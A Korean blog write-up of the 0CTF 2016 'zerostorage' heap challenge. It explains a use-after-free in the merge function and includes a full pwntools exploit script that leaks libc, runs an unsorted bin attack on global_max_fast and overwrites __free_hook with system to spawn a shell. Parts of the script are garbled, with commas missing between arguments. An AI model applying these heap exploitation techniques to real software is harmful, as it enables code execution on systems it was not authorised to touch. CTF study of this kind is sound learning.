[0CTF 2016] zerostorage

2019. 7. 26. 02:25

이번에는 unsorted bin attack 공격

global_max_fast를 main_arena+88로 덮어서 모든 heap이 fastbin처럼 동작되게 만들었다.


취약점은 merge에서 일어나는데,, 이걸 한참을 못찾았다.

왠지 여기서 일어날것같았는데 ㅁㄴㅇㄹ

merge할때, from id와 to id가 같은 값이 들어와도 이를 검사하지않아, UAF 취약점이 발생한다.

이를 통해서 free된 청크에 값을 쓸 수 있고, 이 free된 청크가 unsorted bin이기 때문에 global_max_fast를 덮을 수 있는 것.


그런데 이렇게해놓고 unsorted bin이 망가져서 다른 청크를 할당할 수 없엇는데...

이전에 마지막으로 할당한 top chunk에 가까운 영역을 merge(same_hunk_id, same_chunk_id)해서 unsortedbin 안거치고 크기를 늘리거나 할당하여 free를 할 수 있었다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/env python
from pwn import *
 
conn = process("./zerostorage")
 
def insert(size, data):
    conn.sendlineafter("Your choice: "str("1"))
    conn.sendlineafter("Length of new entry: "str(size))
    conn.sendafter("data: ", data)
 
def update(id, size, data):
    conn.sendlineafter("Your choice: "str("2"))
    conn.sendlineafter("ID: "str(id))
    conn.sendlineafter("entry: "str(size))
    conn.sendafter("data: ", data)
 
def merge(fid, tid):
    conn.sendlineafter("Your choice: "str("3"))
    conn.sendlineafter("ID: "str(fid))
    conn.sendlineafter("ID: "str(tid))
 
def remove(id):
    conn.sendlineafter("Your choice: "str("4"))
    conn.sendlineafter("ID: "str(id))
 
def view(id):
    conn.sendlineafter("Your choice: "str("5"))
    conn.sendlineafter("ID: "str(id))
    
def list():
    conn.sendlineafter("Your choice: "str("6"))
 
insert(0x10"A"*0x10)
insert(0xf8"B"*0xf8)
 
# trigger bug
merge(00)     # 2
 
# leak main_arena
view(2)
conn.recvuntil(":\n")
main_arena = u64(conn.recv(6).ljust(8"\x00"))
libc_base = main_arena - 0x3c4b78
system_addr = libc_base + 0x45390
 
log.info("libc_base  : " + hex(libc_base))
log.info("libc_base  : " + hex(libc_base))
log.info("main_arena : " + hex(main_arena))
 
global_max_fast = libc_base + 0x3c67f8
log.info("global_max_fast : " + hex(global_max_fast))
 
free_hook = libc_base + 0x3c67a8
log.info("free_hook : " + hex(free_hook))
 
target = free_hook - 0x59
 
# unsorted bin attack
payload  = "A"*8
payload += p64(global_max_fast-0x10)
payload += "A"*16
 
log.info("len : "+hex(len(payload)))
 
# overwrite global_max_fast
update(20x20, payload)
insert(0x10"/bin/sh\x00"+"A"*8)   # 0
 
# double free
merge(11#3
 
target = free_hook - 0x59
 
payload = p64(target)
payload += "A"*(0xf8*2 - 8)
update(30xf8*2, payload) 
 
insert(0x1f0"A"*0x1f0)
 
 
# overwrite free_hook to system
payload  = "\x00"*0x49
payload += p64(system_addr)
payload += "\x00"*(0x1f0-0x49-8)
 
insert(0x1f0, payload)
remove(0)
 
 
 
conn.interactive()
 
cs


'Write-up > Pwnable' 카테고리의 다른 글

[2015 Hack.lu] bookstore  (0) 2019.08.01
[hack.lu CTF 2014] OREO  (0) 2019.07.27
[BCTF 2016] bcloud  (0) 2019.07.26
[CODEGATE 2015] yocto (RTDL)  (0) 2019.07.13
[PlaidCTF 2015] plaiddb writeup  (0) 2019.07.11

+ Recent posts